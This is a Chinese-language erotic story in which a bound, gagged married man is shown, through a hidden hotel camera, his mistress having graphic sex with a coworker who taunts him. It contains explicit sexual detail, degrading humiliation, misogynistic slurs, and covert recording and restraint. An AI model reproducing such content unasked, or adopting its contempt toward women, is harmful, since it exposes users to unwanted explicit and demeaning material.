图片载入中

特大字】 【大字】 【中字】 【小字

发言人:NeeWui

**********************************************************************

※前言※

这篇文章是为了受背叛的男人所写,希望能借由它来解放受伤的心。文中心理描写的部分极端变态,或许读者会感到不理解,既然要让人解脱,为何不是让背叛者得到惩罚?

其实,真正的解脱是心死而重生,抱负只能逞一时快感,无法抚慰受伤的灵魂。

**********************************************************************

恨(一)

我醒过来时,整颗脑袋痛得仿佛快裂开来般,本能的想起身倒水喝,手脚竟不听使唤。这才发现自己被一圈圈粗绳连着椅子牢牢捆绑在一起,嘴巴也被布团塞住。

‘怎么回事……’我努力思索着昏迷前的记忆,只记得一推门进来,后颈就遭到一记重击,本来还有知觉想转身抵抗,但立即被一条有力的胳臂锢住脖子,鼻子也让满刺鼻药味的湿布给摀住,意识很快就昏沉了,醒来时就变成这模样。

‘难道遇到了绑架?’想想自己都觉得好笑,我是什么身价?绑了我的绑匪不是没打听清楚!就是白痴!把我连肉卖掉也值不了多少钱。

然而奇怪的是我还在旅馆房间里,如果被绑架,他们应该会带我到别的地方去藏起来才对啊!这旅馆是我们前天住进来的,公司办活动,邀请国外的学术团体来参观交流,我们这些接待的人跟他们一起住进这里,我和一位绰号阿痞的男同事住一起,另外还有两名女同事玉婷和小甜是在同一间房。玉婷今晚有事,不在旅馆住,阿痞也不知道跑哪去,刚刚我才从小甜那里回来,心想,今天真是够了!在小甜那里吃到闭门羹,一进房还遇到袭击,不知道是什么好日子?

其实小甜是我的秘密情人,也是公司之花,长得清甜可人,而且个性活泼大方,她报到的第一天,就已经是所有男同事注目的焦点了,不过没多久后她选择了我——一个已婚的小职员当男友,对其他人的追求无动于衷,当然和一个有妇之夫交往是不能够公开的,在办公室里只能眼波传情、有时在茶水间偷个吻,享受刺激神秘的地下恋情,日子倒也浪漫得很。下了班就是属于我俩最快乐的时光了,通常用完晚餐后,会到宾馆或在车上疯狂作爱,缠绵过后我再送她返家,然后飞车回自己家扮演丈夫的角色。

虽然没去注意,但公司一定有人知道我们的事,我就怀疑我们部门的主管陈副总已经听到风声而且看出端倪,陈副总以前常在部门聚会里对小甜毛手毛脚,小甜也是玩起来很疯的个性,对于他的骚扰不但不以为意,有一次还在大伙起闹中,亲了副总的脸一下,让那丑得像河马般的男人乐得嘴都歪了!不过那是还没和我在一起以前的事,自从和我愈来愈亲近,两人渐渐坠入爱河后,她每次的聚会都刻意不坐在那些主管和男同事旁边,只跑来和我坐,那些人看在眼里对我充满嫉妒和敌意,像陈副总就一直找我麻烦,不过只要能和小甜在一起我就心满意足,对他们的敌意我反而有种难以形容的优越感。

只是梦中事物愈是美丽、梦醒后的失落也愈难受,我终于尝到这种滋味了。

婚外情的日子虽然甜蜜,却美的不踏实,小甜刚开始不计名分和我在一起,只是过于年轻,被爱情冲昏头,并没想到以后的生活怎么办!一年过后,她开始感到前途的不安定,我是个没勇气离婚的懦弱男人,根本不能给她幸福的保障,于是她对我的热情快速降温,不只言谈变得冷漠、甚至碰她的手一下都会招到白眼。

我知道她希望我能离婚和她在一起,只是每次我找借口提离婚,我合法的妻子就寻死觅活,甚至作出同归于尽的可怕行为,让我更加不敢说出婚外情的事,因为害怕会连累小甜受到伤害。

小甜可能一直以为我没努力过、只是想玩玩她吧!所以对我更是轻视。我苦在心中却无法向她解释些什么,毕竟说再多都只是借口,只要我不能娶她,就没权利一直霸占着她的心。

阿痞来我们公司后,我和小甜的关系更蒙上阴影,阿痞人如其名,是个自命不凡的雅痞男人,高高瘦瘦的衣架子体格、又重视打扮,加上故意表现得放荡不羁、很有个性的样子,在女人堆中十分吃得开。

他这种花花公子当然不会放过全公司最美丽的女同事,那就是我的小甜,很不幸的,我看得出小甜也被他的魅力所吸引了!每次看他们在我旁边打闹嘻笑,我的心就快被嫉妒给吞噬,但能说什么呢?人家是未娶、未嫁,我却是有家室的男人,光这一点就注定落于下风,更何况阿痞很多方面都比我强、也比我会追女人,像我这种连养情妇都没资格的男人,能向小甜抗议什么吗?只能强忍破碎的心、认命看她投向阿痞的怀抱!

不过有一点我却怎么也吞忍不下,我对小甜总是百般呵护,把她捧得像仙女一样,她却愈来愈觉得我烦人。而阿痞却不是这样,他对小甜开玩笑说的话听起来恶毒下流不说,有时还作出轻薄和不礼貌的动作,但小甜反而乐在其中和他愈逗愈起劲。

每次遇到这种情形我就默默的捏紧拳头、心在淌血!试想一个男人在你面前一直对你的女友说些下流的笑话、作下流的动作,你会受得了吗?其实小甜心里早就不把我当一回事,我仍然深深在意着她,也只能怪自己作茧自缚了!

不过小甜至少到现在还没和阿痞交往,这是我稍微能安慰的地方,她每天还是让我送她上下班、一起吃晚餐,只是对我很冷漠,我也因为愧疚和自卑,愈来愈无法和她像以前一样相处,这种龟缩的样子可能让她更讨厌我吧?

自从她开始讨厌我,我们已经将近半年没亲热过了。今晚趁着与她同房的玉婷不会回来,好不容易鼓起勇气到她房间,想要重拾以往温存的甜蜜,没想到竟被她赶了出来,说什么我是色狼之类伤人的话。

天晓得,她以前和我亲热时,再露骨的话都曾对我说过!她还说,虽然我已经结了婚,但她的人和心永远只属于我一人,不管发生什么事都不会离开我!而现在,我只不过没经她允许抱了她一下,就被说成色狼?!女人的翻脸真是无情啊!不过又能怎么样呢?

‘还不是你自己没本事离婚,不然她早就是你的了。’我这样告诉自己,摸了摸鼻子难过的回自己房间……

我沉思在以往回忆中不知过了多久,眼前的电视萤幕突然“嗤”一声,自己亮了起来,我被吓了一跳,定下神仔细看,才发现这家旅馆的电视原来有定时启动装置。

‘看看电视也好,反正被绑得跟死狗没两样,想挣脱也挣脱不掉,不如等抓我的人回来看要怎么处置我吧!’想到小甜,我心中不由升起厌世的念头,一点脱逃的意志都提不起,‘就算被歹徒杀死也一了百了,省得留在世上受这种感情罪。’我心中甚至这样想。

然而电视萤幕上播的竟然不是寻常的节目,而是一个熟悉的房间!感觉像是针孔摄影机从上方俯角拍摄。

‘是了!这不就是这家旅馆的房间吗?’我惊觉到不寻常,而且很快认出萤幕出现的正是小甜住的那间房,因为她有件衣服还叠在床边,和刚才我被赶出来时最后一眼的印象完全符合。

绑我的人到底有什么企图?为什么要我在这里看小甜的房间?我正纳闷着,电视传来一阵“唏哩哗啦”的冲水声,接着厕所的门打开了,小甜走进镜头里,她扎起了马尾,露出白皙美丽的颈项,身上穿着一件紧身的T恤(那是我送给她的),还有一条十分短的热裤。只见她爬上床、背倚着床头,将枕头枕在腰下,伸直那双修长均匀的玉腿,然后按下遥控器舒服的看着电视。

没过几秒钟,她房间的门铃响了,小甜缩回双腿、一脸不耐烦的走下床,我猜想:她可能以为又是我来烦她吧?只见她的背对镜头、走到门口朝窥视孔看了看,接着很快就拉开门。

“怎么是你?”

小甜在萤幕里是背对着我,因此无法知道她说话时的表情,不过声音里流露的喜欢成分,绝对远远大过于讨厌。

“怎么!不然你在等谁?”门口一个男人声音回问道,我真讶异这针孔摄影机的性能,不但拍摄出来的画面清晰、而且声音的收讯更是敏锐,连这么远的距离都收得一清二楚。

“我那有等谁?有什么事啦?”小甜故意没好气的说,这是她的个性,每次被人看穿什么的时候,就会用这种方式来掩饰,看在情场老手的眼里根本是很幼稚的。

“没事不能敲你门吗?是不是里面有男人?”那男的半挑衅的说道。

“神经病!到底有什么事啦?”小甜似怒非怒的嗔道,女人用这种语气对男人,多半不是真的生气。

“我在门口站这么久,不让我进去坐吗?是不是怕我吃了你吗?”

那男人无赖的调调让我觉得很熟悉,心里也不禁着急起来!‘小甜不会随便让别的男人进房吧?她才把我赶出来而已!至少到目前为止,我仍是她最亲密的男人……’我一厢情愿的安慰自己,但很不幸我的猜想是错的!

“要进来就进来吧!”小甜让那个男人进房了!

‘不……你怎么能这样对我……’我忘了自己被绑在椅子上,心里唯一的念头就是想冲去她房间,结果差点就连人带椅摔倒在地上,我努力冷静下来,要是摔倒在地上,就连小甜房里发生什么事都不知道了!

男人走进来了,一看到他出现在萤幕上,我的心真得要被捏碎了,那是……阿痞。

可恶!他竟还朝着镜头对我发出胜利邪恶的笑容!

‘不!不能这样对我!求求你……’我呜呜呜的不知喊些什么,一条被绑在椅子上塞住嘴的可怜虫,正看着心爱的女人和另一个男人共处一室,像被宣判死刑般、无能为力的等着最害怕的事发生,我真的很想闭上眼睛,偏偏怎么也办不到。

‘还好吧……小甜不是随便的女人,可能只是不好意思拒绝他、才会让他进去坐坐,他不可能有机会的……’我又试图安慰自己酸苦到快凋萎的心,但每次想解读她的想法,结果都会让我更无法忍受!

小甜竟然不在意阿痞就在房内,毫无矜持的往床上一坐屈起双腿,一副慵懒性感的模样大方的让阿痞看,由于她穿的那条热裤十分短,因此坐这样时连屁股的肉都盖不太不住,我的心再往下沉了一截,头皮开始发麻了,阿痞这无耻的畜牲,竟然也爬到床上挨着她香肩坐。

小甜只皱了一下眉头,听不出有任何讨厌意味的嗔道:“坐那么近干嘛!想吃人家豆腐哦!”

“你不是想很久了吗?”阿痞无耻的贴得更近,手指不安份的玩着小甜耳鬓香香的发丝。

“你少噁了……”小甜虽然一直盯着电视看、假装若无其事,但耸挺的胸脯却起伏的有些快,唿吸也变得不自然,我的心简直快炸开了!这是她意乱情迷的前兆,她一点也不讨厌阿痞对她的挑逗,否则早就拨开他的手了!怎还会任由他坐得贴那么近?而且还是在床上!

“你好香……”阿痞鼻子凑过去,在她耳边轻轻的嗅着。

“唉啊……你好讨厌哦,会痒啦!”小甜微弱的缩着脖子抗议,但声音却是软软甜甜,让人觉得她仿佛快酥了!

‘你可以站起来!可以用力地拒绝他!可以离开那张床的!小甜……我求求你……’我感到整个人就快被嫉妒和恐惧给掏空了。但小甜不单没照我希望的去作,反而愈来愈无法掩饰她身体的兴奋,虽然眼睛还停留在电视上,但唿吸短促而迷乱,大腿也没夹得像开始那么紧。

阿痞依旧在她雪白的颈项上来来回回、若有似无的嗅着,到后来小甜几乎已经快坐不住,眸光一片涣散,双手不知所以然的抓着床褥。

“唔……你……不要再吹人家了……好痒……讨厌啦……”她急促喘着气、几乎呻吟的嗲着阿痞,她这种诱人的样子,分明是告诉男人可以再往下一阶段进行。

阿痞这个花丛老手岂有不知之理?他不急不徐的在小甜可爱的耳垂边吹着热气,小甜纤软的娇躯像被一波波电流袭击般的抽颤着,双眸已经完全阖起,微皱着眉享受这花花公子巧妙的调情。我才刚闭起眼不愿再看下去,突然听到小甜一声酥软的呻吟,妒火逼我再度睁开眼!

“啊……嗯……讨厌啦……”她整个人几乎已经偎在阿痞怀里,那可恨的男人正含着她的耳珠温柔舔逗,她两手紧紧抓着阿痞的大腿,兴奋得仿佛就快融化似的。

“告诉我……你是不是有和公司……里已婚的男人来往……”阿痞吸着她耳垂,含混不清的问道。

“才没有呢……你听谁乱说的?”小甜玉唇轻启吐着热气,心虚的回答道。

“别想骗我……公司有人在传说……我也看过……你和Robert在一起过。”

“那……那是……只是……刚好遇到……顺便一起……”男人一直在挑逗,让她话中参杂着喘气、说得已是颠三倒四,‘你说谎!你明明和我是一对!’我忍不住心中呐喊!

“喜不喜欢我?”阿痞突然话题一转直接问她,此刻我的心早就像一沱烂泥般,被人踩在脚下任意践踏,阿痞是故意问给我听的,小甜晕着脸嗯了一声,刹那间我连灵魂都已经被撕碎,脑海轰然一片空白和绝望。

等我回过神、二行热泪毫无知觉的不知已流了多久!萤幕里阿痞二张大手围着小甜的柳腹,低着头和她热烈的亲吻,小甜兴奋的连脚趾头都蜷起来,阿痞的手刚开始只爱抚着她平坦的肚子,渐渐兵分二路,一手伸到她大腿上、另一手往上移到胸部、温柔的握住那座挺秀山峰挲抚。

我的血液已经凝结了,曾经只属于我的小甜,今天把我当色狼赶出她的房间已经够让人难过了,没想到还跟这花花公子在房内……这对我实在太残忍了!

那两人吻得唇舌交融,仿佛化不开,阿痞的手也没闲着,已经成功钻进热裤里,正揉弄她身体最私密的部位。

“嗯……哼……”小甜眉头揪得更紧,玉手紧掐着阿痞的手背,那双匀润的大腿虽然象征性夹着,其实一点也没用力,有时还故意张开一下,让阿痞的手能更深入!这场无耻的舌战不知过了多久,她终于依依不舍和阿痞的双唇分开,但已被他吻得脸颊飞红、娇眸生水了。

“你手……先出来一下……”她含羞的向阿痞求道。阿痞依她意思把已挤进她裤口的半张手掌抽出来,小甜微咬着唇不敢看阿痞、而以行动来表达她有多愿意,只见她用脚尖撑起屁股,双手抓着裤边,羞答答的摇着臀部、将热裤从修长的玉腿上缓缓褪下,里面只有一条薄丝的丁字内裤。

‘不要脸!不要脸!……’我仿佛掉到地狱般,说不出的痛苦和心碎,这女人和我好的时候只在乎我一个,让我登上未曾到过的幸福高峰,如今把我当色狼赶走也就算了,竟还把我曾拥有的全都送给别的男人、而且送得更彻底和不知羞耻,让我从顶峰上摔下来、摔得尸骨无存……

恨(二)

阿痞手指隔着薄薄的布片,不停揉着小甜柔软的私处,小甜虚软的抬起一条胳臂反搂他后颈,一脸荡漾的张着嘴轻哼,她两边大腿已毫无羞耻的完全张开,随阿痞愈弄愈激烈,那里发出啁啁的水声,我想她裤底应该都湿了吧。

“哼……你好坏……”她一脸晕红、口是心非的嗔着阿痞。

“你不喜欢吗?不喜欢我就停下来好了!”可恨的阿痞竟然这样挑逗我的小甜!而且他并没真的停下,手指反而还卑鄙的从裤缝边钻进去。

“噢……”被那男人直接触摸耻肉,小甜整个人兴奋的颤栗起来,我虽然没办法看得那么清楚,但阿痞的手指一定有插进她阴道里,在原本属于我的领土作猥亵的挑逗。

“里面好湿呢?你是不是很淫荡……”阿痞占尽便宜不说,竟还缺德的嘲笑她。

‘不是!我的小甜不是淫荡的女人!’我心里反射性的为她辩解,但小甜似乎不领我的情,她已经完全溶化在阿痞高超的指技下。

“都是你……啊……嗯……害人家淫荡……哼……是那个地方……啊……好舒服……”

听着小甜恬不知耻叫唤,我终于体会到心痛原来是没有止境的!只是这样的折磨到底还有几次?会痛得什么程度才会死去?我真想逃离这个世界!

“把内裤脱掉!”阿痞命令着我的小甜。

可悲的我看着她乖乖褪下下半身仅剩的遮蔽,将覆着柔细耻毛的美丽三角丘大方暴露在他面前,那是我多么熟悉又美丽的身体,我甚至还能清楚感觉它们光滑细腻的触感!而今这些却是阿痞垂手可得的礼物!

“腿开一点!”阿痞的口气变得像在叫唤妓女般无礼。

我期望小甜会抗拒,甚至就像平常一样和阿痞假装斗嘴都行!但她没有!她像期望被人干的婊子似、两条玉腿大大张成M字型。

“自己扶着腿,我要检查你的小骚穴。”

阿痞愈说愈过份,他把我心爱的女孩当成什么?我搞不懂小甜为什么喜欢被他这样羞辱欺负,好像他对她愈粗暴、她就愈会兴奋!这和我对她百依百顺的情况完全相反啊!

但事实就是那么残忍摆在我眼前!她靠在阿痞怀里,自己用手扶着腿弯把腿打开,红润润的小穴不知羞耻的敞露在男人面前!我恨的是即使她已经这么屈辱和淫贱了,阿痞仍然只用手指、毫不重视的翻弄新鲜的肉瓣,仿佛在说这种货色到处都有一样,简直可恶到了极点!但小甜却一点都不觉得委屈,没有赘肉的小柳腹一阵一阵的缩动,还不时以愉悦的呻吟来感谢狎弄她的男人。

正当小甜愈哼愈大声,几乎和荡妇没两样时,阿痞突然放开了她,站起来说道:“我去尿尿一下!”

“怎么可以这样……你好可恶……不行啦……”被挑逗得春情荡漾的小甜几近哀求的抗议。

“我上厕所这段时间,你要扶好自己的腿,不准放下来,知道吗?”

可恨的阿痞吃定了我的小甜,她是我捧在手中的仙女,却被这个男人当成玩具般任意摆布!然而更另我伤心的是,阿痞离开的这一分钟里,小甜竟真维持这种淫荡的姿势没变过,躺在床上露着小穴,就等阿痞回来继续玩她。

“你真听话!我来奖励你了!”阿痞上完了厕所、不急不徐走过来,小甜已经忍耐不住的挺动纤腰,巴不得立刻投入他怀里,不过即便如此,她还是没放下自己的腿,好像阿痞没允许她就不敢自做主张似的。

我第一次看到小甜这么屈从,这种不平等的对待让我一次比一次痛心,我已不敢奢求小甜能不喜欢阿痞,但最少阿痞也应该把她当娇贵的美女般对待,而不是把她当婊子一样使唤!

阿痞又面向镜头朝我斜恶的笑了,我真恨不得冲过去杀了他!

他把梳妆台下把椅子拉到床前坐下,一派优闲的看着小甜自己把小穴露在他面前的无耻模样,仿佛在向我炫耀!要我看小甜是多么心甘情愿、渴望把身体献给他,我恨得几乎快咬碎自己牙齿!

“坏蛋……你在作什么嘛……这样看人家……”小甜这贱人总算还有一点羞耻心,她发觉阿痞并没过去玩弄她,而是坐在另一头看她张开腿、裸露下体的骚样,于是不安的并拢大腿,将湿红的耻缝夹在雪白股根间。

“欸!把腿张好啊,我们来玩点刺激的。”阿痞像魔鬼一样地引诱着我的小甜。小甜听到刺激的事,虽然感到羞赧,但仍无法抗拒的再度张腿,而且不用人说就扶好两边腿肚,深怕自己会合起来一样!姿势简直自甘作贱到了极点。

“嘿嘿……我们来玩主人与母狗的游戏,我是主人,你是我的母狗,叫两声来给听听……”阿痞看她这么听话,兴奋得连脖子上都冒出筋来,我却恨不得一头撞坏眼前的电视。

“汪……”小甜声音小的几乎听不见,不过还是叫出口了。

“再大声点叫,你看你都兴奋起来了,穴眼水汪汪的,好可爱呢!”阿痞虽是对她说话,眼睛却一直看着镜头耻笑我。

“汪!汪!”小甜在他鼓励下清楚的学着狗叫,在被喜欢的男人奴隶的游戏中,她已经亢奋得连羞耻心都迷失了!耸挺的酥胸在T恤下激动的起伏、脚掌也绷得紧紧的。

阿痞把她当母狗逗弄够后,并不是过去温柔的抚慰她,而是用他筋骨嶙峋的大脚、毫不怜惜的揉弄小甜嫩穴,看到这一幕的我已经抓狂了,我一向爱怜备至的纯洁肉体,竟被这个男人如此蹂躏,而小甜不但没抗拒,还淫荡的扭着屁股配合,嘴里发出“咿咿喔喔”的呻吟声。

“喜欢我用脚玩你吗?”阿痞双脚并用,用两根姆趾拉开小甜那水汪汪的穴眼,将阴道入口处的构造都翻出来。

“你……讨厌啦……怎么这样……对人家……”小甜娇软无力的哼叫道。阿痞弯起其它四根脚趾,将脚姆趾挤进温烫柔软的嫩洞中抠弄。

“啊……你好坏……这样欺负人家……小母狗不理你了……嗯……啊……再……再深一点……再深一点……”小甜很用力的抓住自己双腿,在床上淫荡的扭叫。

“要再深一点吗?可是我有香港脚也没关系吗?”阿痞恶虐的道。

“……没关系……弄脏了……我也是你的……”小甜不知羞耻的热烈回应,她竟让洁净的阴道给阿痞满是细菌的脚趾这样摧残!

‘就算不再爱我,你也不能这样糟蹋自己啊!’我一厢情愿的悲鸣着,却不知小甜此刻有多兴奋和舒服?

不知过了多久(可能只有一、二分钟吧!对我来说,已经够久了),阿痞总算停下我最不忍见到的行为,他爬上床和小甜紧紧搂在一起热吻。小甜嘴和人吸着,手也没闲下,迫不急待的帮阿痞解扣宽衣,阿痞露出瘦而结实的上身,他的魔爪已经伸进小甜衣服里,我看到她胸口下那两团东西不停在波动变形,一定是阿痞的大手在衣内玩弄柔皙的奶球,我自然而然忆起她的乳房握起来又滑又软的手感,把玩再多次都令我爱不释手,而如今却是别的男人掌中的玩物!

“哼……嗯……我爱你……老公……呃……我是你的……用力蹂躏我……”小甜一脸迷荡的娇喘呻吟,两条玉臂搂着阿痞的脖子和背,一双腿激烈的夹住他的腰。

“想要了吗?”阿痞温柔的拨开她黏在脸颊的发丝问道。

“想……”小甜如梦呓般的回答,阿痞脸上尽是得意和鄙夷的笑容,因为小甜已经完全臣服在他之下。

他起身跪立在床上,小甜也跟着爬起来,香软的双唇自动送上去给他,一双玉手体贴的为他解裤带,她从阿痞的嘴开始吻他,接着脖子、胸膛、腹肌,最后为他拉下长裤,那耸立在红色男内裤下的阳具令她迷濛的娇眸绽放出光彩,她温柔的抚着包裹在裤下的巨物,两片香唇毫不矜持的贴去!殊不知道透过摄影机正看着她的前男友,已经快绝望心碎而死,不过就算知道了,对她也丝毫没有所谓吧!

“你可以脱下它!”阿痞揉着她的秀发,仿佛恩赐给她的说道。

小甜心儿怦怦乱跳,慢慢拉下阿痞的内裤,一条昂扬挺立的凶恶肉柱弹了出来,小甜看的脸立刻红起来,又怕又爱的举起纤手轻握住,阿痞的家伙实在比我的大太多了!不但长度惊人,龟头如毒蛇般棱角分明,而且棒身还呈现微弯上扬的弧度,上面的血管暴凸出来,显得邪恶而充满暴力。

“喜欢吗?”阿痞自豪的问道。

“嗯……可是好大,人家会怕……”小甜这贱货,竟然这样取悦阿痞。

“先用嘴巴帮我服务!顺便习惯一下尺吋,才不会等一下插死你。”阿痞一双大掌轻轻压着小甜后脑,小甜乖巧的舔着那淫亮的龟头。

“唔……你果然够浪,到底帮多少男人吹过?”阿痞舒服的吐了口气问道,小甜认真的为他服务没回答,只是摇摇头表示否认。

“哼!没有才怪,看你舔得那么熟练,一定被不少男人干过吧?”阿痞过份的羞辱着我的小甜,我愤怒的把椅子摇得吱吱响,仍无法挣脱牢固的捆绑。

“没有……我不是你所想的那种女人,我是想让你高兴才会这样作!我是你的,不会喜欢别人……”小甜可怜兮兮的仰起脸向阿痞解释。

‘干!’我满腔愤恨,在心中怒吼:‘你人长得这么美,我把你当宝贝疼惜你不屑,偏偏要让这男人把你当妓女一样羞辱你才会兴奋吗?!他这样糟踏耻笑你!你为何还要苦苦向他乞怜解释?你是没人要吗!贱货!贱货!……’

“好吧!暂时相信你,把它吞进去,全部都要进去知道吗?”阿痞好像施与大恩给小甜似的口气。

小甜得到新欢的谅解,更想卖力的取悦他,只见她辛苦的把那条超出她嘴巴负荷的大屌一吋吋送进口中,到后来脸上已经出现痛苦的神色,雪白的喉间明显隆起,但那粗长的肉茎还有一截在外面,她试图再往内吞。

‘小甜,不要了……求求你……已经够了……’我心疼的闷叫着。

还好,阿痞见她已经到极限就没再逼她,小甜也立即用温润湿紧的小嘴“啾啾啾”的套吮他的肉棒。

“唔……真爽……真爽……”阿痞陶醉的仰着头叹气。

“躺下来吧!”他扶着小甜的头慢慢躺到床上,小甜似乎一刻都舍不得放松开嘴里的肉屌,吮得阿痞皱紧眉头、一直发出低沉的闷吼。

“噢……屁股面向这边,我也帮你舔一舔。”

他们竟然要玩69式!

小甜听话的跨过他的脸,将一丝不挂的股沟送到阿痞脸上,阿痞两张大手先轻抚着白嫩光洁的大腿根和臀丘,小甜已经不争气的颤抖起来,小嘴更把男人的屌吸得“啾啾吧吧”作响。

“很好!我来奖赏你这条小母狗。”阿痞瘦骨嶙峋的有力大手慢抓紧两瓣屁肉,狠狠的将它们分开!

这残忍的戏码一直上演到现在,我以为我的灵魂应该已经没知觉了!但悲恨和嫉妒仍不断地扯裂我的心!将它一层一层血淋淋的剥开!双眼无法从萤幕上移开,耳朵无法不去听他们无耻的对话!难道我还不认输吗?不!其实我早就想向阿痞求饶,求他放过我,小甜是他的了!我承认我是无可救药的失败者,已经没必要在我面前这样玩弄她给我看。

阿痞当然听不到我心中悲壮的呐喊,他埋首在小甜的屁股间,故意把舌头伸长长的,我想他是为了让我看到,慢慢朝小甜鲜红的耻缝舔下去,我握紧双拳、恨得全身肌肉绷紧。

“唔……”小甜像被高压电袭击到似的娇躯抖颤,吞着肉棒的嘴发出愉悦的闷哼,我能想像她淫水淡淡的味道正在阿痞口中散开,那也曾是我熟悉的滋味,只不过换成别的男人在享用。

“嘿!你的屁眼怎么凸凸的,真可爱!”阿痞的手指正在揉着小甜的肛门,像开发到宝藏似叫着!

是的,小甜的菊花蕾有一块凸起的小嫩肉,摸起来特别性感,这也曾是我流连忘返的地方之一。

小甜被他说得不知是羞涩还是更兴奋起来,轻轻扭摆着屁股。阿痞对她也不再客气了,只见他两片嘴唇吸上去(我看不到,不过应该是吸在肛门上吧),一手掰开她的臀肉、另一手的中指插进骚穴中开始挖弄。

“呜呜……”小甜激烈的回应,凌乱的长发随吸吮男人肉根的动作而上下甩落,雪白的脚掌吃力的撑在床褥上。

阿痞愈弄愈粗暴,在小甜赤裸裸的股间发出“唏哩唿噜”的舔吮声、手指也把她的嫩穴插得直喷水。小甜已经无法再为他吹吮肉棒了,伏在阿痞身上“啊啊啊”的叫春,二手胡乱抓着他的腿。

过没多久,终于见她美丽的身躯向上一挺,口中发出满足的呜咽,然后软绵绵的瘫了下去。我知道她已经到了,被这可恶的男人送上欢愉的高峰!而这只是前戏,接下来的事才要开始而已。

恨(三)

“没力气了吗?”阿痞略往后退出,坐起上半身、抚着她光滑的裸背问道。

“嗯……你好可恶……这样欺负人……”小甜身躯无力的伏在他两腿间,娇喘着沉醉在高潮后的酥麻。她光熘熘的屁股仍不知羞耻的抬在阿痞面前,两腿跪开开的、上半身趴贴在床上。我真怀疑她根本是一头淫荡的小母狗,而不是我心爱的小甜。

“你屁股翘这么高,是不是还想要?”阿痞一手撑在身后,另一手开始又不安份的抚玩她圆润的屁股。

“哼……”小甜没回答他的话,只是抱着他的小腿、轻喘着抬扭玉臀,阿痞轻轻抓抚几下肥软的耻丘,再度将手指送进温烫的阴道中!

“呃……”她又兴奋的抖颤呻吟,十根玉指掐进阿痞的腿肉里。

“自己动屁股吧!想要多舒服都可以。”可恨的阿痞摆明要我看她有多饥渴和想要,小甜果然自甘作贱的前后动起屁股,让阿痞的手指在肉洞进出,而且还发出更兴奋的吟叫。其实我已没太大的感觉,这种程度的打击,顶多只是在我的心头多划一刀罢了!我的心早已伤痕累累,不差这一道创伤。

但阿痞插弄她的阴道还不够,另一手也来加入,食指沾了点淫水就硬闯进她菊肛里。“啊!”小甜一声惨唿往前爬,原本是跪趴着,结果变成整个人完全仆倒在阿痞两腿间,阿痞头脚的方向刚好和她相反,一双大脚就刚好在她面前。

“那里不行啦……”小甜痛苦的哀求着。

“怎么会不行?这里玩起来才舒服呢!不信等一下你就停不下来……”阿痞邪恶的笑着道。

‘不!小甜!你快拒绝他!’我在萤幕前挣扎闷叫。

肛门是小甜最迷人的第二私处,不但肌纹紧致,而且颜色很淡,以前一直是我最爱逗弄和吸舔的地方,但她把那里视为圣地,只有心情很好的时候才允许我去碰它,更别说把手指插进里面,我光是在外面揉得大力点,她马上就会不高兴的。但换作这男人如此蹂躏她的处女地,她也只是软弱的哀求一声,接着就任由他摆布了。

我只见阿痞两根长指轮流在她雪白的股间出没,忍不住叹了口气、仰起脸不想看下去,但夹杂着兴奋和痛苦的叫声不断入侵我耳膜,想不听都办不到。不久声音变得模煳了,我鼓起勇气把视线回到萤幕上,却看到小甜兴奋的扭着屁股,男人手指仍深插在二个肉洞里,不同的是,她正抓着阿痞光秃秃的大脚、小嘴卖力含着他瘦长的脚趾头吸吮。

我觉得大脑一阵晕眩,难道小甜为了这男人,什么样淫贱肮脏的事都作得出来?是!我是个有妇之夫,没办法给她幸福!我注定要失去她我认了!但我并没有欺骗过她,她和我在一起是心甘情愿的,如今分手的时候到了,阿痞掳获她的心,大可将她从我身边带走,但有必要这样打击我吗?我对他的动机愈来愈迷惑了。

他们的前戏进行了好一阵子,阿痞从她的肉洞中拔出手指,粗暴的将她的屁股朝前一推,小甜软绵绵的伏在床上喘气。

“自己放进去吧!母狗!”阿痞一脸得意的使唤着。在小甜努力的取悦下,那根肉棒更是怒气勃发的挺立着,龟头闪着邪恶的光泽,阿痞以逸待劳的坐在床上、伸直双腿,等着小甜自己过来服侍。

“你别这样……你要我怎样我都做了……就不能对人温柔一点吗……”这女人总算想起自己还有尊严,她委屈的向阿痞乞求。

“哼!我是处罚你!谁叫你跟Robert在一起,还骗我说没有?要不是你行为不检点,早就可以当我女朋友了!”阿痞冷冷的道。

我听了心中怒火再度陡涨:‘小甜和我在一起比你早!关你屁事!’

但小甜可不这么想,她像一条作错事被主人责罚的小母狗般,偎在阿痞身上委屈的掉泪,可怜兮兮的说道:“对不起……人家是被Robert骗了,我现在只爱你一个人了,别再提他好吗?……我早就和他分手了,如果……如果你不相信,我回公司就告诉陈副总,说他对我性骚扰,让他永远离开公司,反正他也常来缠我……”

‘天哪!小甜你怎么能这样说?你怎么忍心对我做这种事!?’我看着她玉唇轻启、娇怜动人的向阿痞输诚示爱,但每个从她小嘴吐出来的字、都像利刃般无情穿透我的身体,一股强大闷气积压在胸口冲不上来,如果不是嘴被塞住,我可能会吐血吧!

“你说真的吗?”阿痞装出深情的恶心面孔柔声问道。

“嗯……我只爱你了……不要再对人家那么坏……”小甜红烫的脸颊轻轻的在他胸膛磨擦。阿痞又对我露出胜利得意的笑容,我……却早已连气愤的欲望都提不起来。

听完了他们不要脸的对话,还要忍受他们在我面前作爱!小甜跨蹲在阿痞身上,一手扶着他的肉棒,小穴对准龟头慢慢坐下去。

“嗯……好大……”她咬着唇微蹙眉头、略带紧张又兴奋的叹了口气,龟头顶在花瓣中心,她有点迟疑不敢坐下去,可能阿痞的老二真得大我很多吧!才会让她感到恐惧。

“慢慢坐下来,不要害怕,只会舒服,不会很痛的。”阿痞扭着下体、故意让龟头揉弄她的穴眼。

“啊嗯……讨厌……不要动啦……啊!”小甜被他磨得浑身酥软,一个蹲不稳整个人就坐了下去,粗长的肉肠瞬间埋入她股间!

“呜……好大……快被塞坏了……老公……你好利害……弄得人家……快死了……”她双臂紧紧抱着阿痞的颈子,裸白的屁股轻轻摆动。

“还没弄呢!你就要死怎么可以?嘿嘿……告诉我,感觉好不好?”阿痞抬起她矇眬娇媚的脸蛋问道。

“嗯……好……”她毫不矜持的回答,二片樱唇随即饥渴的送上去,柔软的水蛇腰在阿痞手臂的搂拥下热烈扭着。

随着阴道渐渐适应了阿痞粗大的阳具,小甜也愈来愈大胆放浪,她双臂高抬过肩、手扶着自己后颈,娇躯上下耸动,嘴里哼嗯啊啊的叫着床,阿痞索性躺在床上让她自由发挥,她被大肉棒插得连骨头都要酥的样子,一点也不知道羞耻为何物,屁股动作没停下过、还将T恤往上掀,脱掉上衣让身体完全裸裎在阿痞眼前,身上只剩一件勾扣被弄松而斜挂在胸前的胸罩,一粒乳房已经裸露在外!

